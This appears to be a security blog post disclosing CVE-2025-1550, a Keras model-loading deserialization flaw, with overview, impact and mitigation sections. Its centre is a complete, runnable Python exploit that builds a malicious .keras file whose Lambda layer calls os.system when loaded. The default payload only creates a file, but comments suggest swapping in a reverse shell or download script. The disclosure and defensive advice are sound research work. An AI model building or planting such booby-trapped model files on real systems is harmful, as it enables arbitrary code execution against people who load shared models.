Keras Model Deserialization Remote Code Execution (CVE-2025-1550)
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: Full Disclosure
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
Content *
Overview
A vulnerability tracked as CVE-2025-1550 affects Keras and environments using TensorFlow prior to security patches released in April 2025.
The vulnerability arises from unsafe deserialization when loading Keras models. A malicious .keras model file can embed executable objects that run automatically when the model is loaded.
This issue allows attackers to execute arbitrary system commands under the privileges of the Python process.
Affected Software
Vendor: Google
Affected components:
- Keras ≤ 2.15
- TensorFlow versions using unsafe deserialization paths
Affected environments typically include:
- AI research environments
- Machine learning pipelines
- model deployment systems
- Jupyter notebook environments
Technical Details
Keras models can be saved and loaded using the .keras file format. These files contain configuration data such as:
config.jsonmetadata.json- model weights
When loading a model using:
keras.models.load_model("model.keras")
the configuration is deserialized into Python objects.
The vulnerability occurs when a malicious function object is embedded in the model configuration, allowing the loader to call arbitrary functions such as os.system().
An attacker can abuse this behavior by defining a malicious Lambda layer that executes a system command during deserialization.
Proof of Concept (PoC)
The following Python script generates a malicious .keras model file designed to trigger command execution when loaded.
#!/usr/bin/env python3
# Exploit Title: Keras 2.15 - Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-07-09
# Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550
# Type: Remote Code Execution (RCE)
# Platform: Python / Machine Learning (Keras)
# Author Country: Jordan
# Attack Vector: Malicious .keras file (client-side code execution via deserialization)
# Description:
# This exploit abuses insecure deserialization in Keras model loading. By embedding
# a malicious "function" object inside a .keras file (or config.json), an attacker
# can execute arbitrary system commands as soon as the model is loaded using
# `keras.models.load_model()` or `model_from_json()`.
#
# This PoC generates a .keras file which, when loaded, triggers a reverse shell or command.
# Use only in safe, sandboxed environments!
#
# Steps of exploitation:
# 1. The attacker creates a fake Keras model using a specially crafted config.json.
# 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call.
# 3. When the victim loads the model using `load_model()`, the malicious function is executed.
# 4. Result: Arbitrary Code Execution under the user running the Python process.
# Affected Versions:
# - Keras <= 2.15
# - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch)
#
# Usage:
# $ python3 exploit_cve_2025_1550.py
# [*] Loads the malicious model
# [✓] Executes the payload (e.g., creates a file in /tmp)
#
#
# Options:
# - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras)
# - You may change this to: reverse shell, download script, etc.
# Example:
# $ python3 exploit_cve_2025_1550.py
# [+] Created malicious model: malicious_model.keras
# [*] Loading malicious model to trigger exploit...
# [✓] Model loaded. If vulnerable, payload should be executed.
import os
import json
from zipfile import ZipFile
import tempfile
import shutil
from tensorflow.keras.models import load_model
PAYLOAD = "touch /tmp/pwned_by_keras"
def create_malicious_config():
return {
"class_name": "Functional",
"config": {
"name": "pwned_model",
"layers": [
{
"class_name": "Lambda",
"config": {
"name": "evil_lambda",
"function": {
"class_name": "function",
"config": {
"module": "os",
"function_name": "system",
"registered_name": None
}
},
"arguments": [PAYLOAD]
}
}
],
"input_layers": [["evil_lambda", 0, 0]],
"output_layers": [["evil_lambda", 0, 0]]
}
}
def build_malicious_keras(output_file="malicious_model.keras"):
tmpdir = tempfile.mkdtemp()
try:
config_path = os.path.join(tmpdir, "config.json")
with open(config_path, "w") as f:
json.dump(create_malicious_config(), f)
metadata_path = os.path.join(tmpdir, "metadata.json")
with open(metadata_path, "w") as f:
json.dump({"keras_version": "2.15.0"}, f)
weights_path = os.path.join(tmpdir, "model.weights.h5")
with open(weights_path, "wb") as f:
f.write(b"\x89HDF\r\n\x1a\n") # توقيع HDF5
with ZipFile(output_file, "w") as archive:
archive.write(config_path, arcname="config.json")
archive.write(metadata_path, arcname="metadata.json")
archive.write(weights_path, arcname="model.weights.h5")
print(f"[+] Created malicious model: {output_file}")
finally:
shutil.rmtree(tmpdir)
def trigger_exploit(model_path):
print("[*] Loading malicious model to trigger exploit...")
load_model(model_path)
print("[✓] Model loaded. If vulnerable, payload should be executed.")
if __name__ == "__main__":
keras_file = "malicious_model.keras"
build_malicious_keras(keras_file)
trigger_exploit(keras_file)
How the Exploit Works
The proof-of-concept performs the following steps:
- Creates a malicious model configuration containing a Lambda layer.
- Embeds a function reference pointing to
os.system. - Packages the configuration into a
.kerasarchive. - When the victim loads the model using
load_model(), the malicious command executes automatically.
Example payload used in the PoC:
touch /tmp/pwned_by_keras
This demonstrates successful code execution when the model is loaded.
Usage
Generate the malicious model:
python3 exploit_cve_2025_1550.py
The script will:
- Create a malicious file:
malicious_model.keras
- Load the model to trigger the payload.
If the system is vulnerable, the command embedded in the payload will execute.
Impact
Successful exploitation may allow attackers to:
- Execute arbitrary system commands
- Deploy malware within machine learning pipelines
- Compromise AI training environments
- Abuse ML model sharing platforms
This vulnerability is particularly dangerous for AI model marketplaces and shared ML repositories.
Mitigation
Recommended security measures include:
- Update to patched versions of Keras and TensorFlow
- Avoid loading machine learning models from untrusted sources
- Implement sandboxing when evaluating third-party models
- Use secure model serialization formats
Researcher
Security research conducted by:
Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴
GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security
Disclaimer
This proof-of-concept is provided for educational purposes and authorized security testing only. Unauthorized use against systems without permission is illegal.
Disclosure: Full Disclosure
Comments
No comments yet. Be the first.
Leave a Comment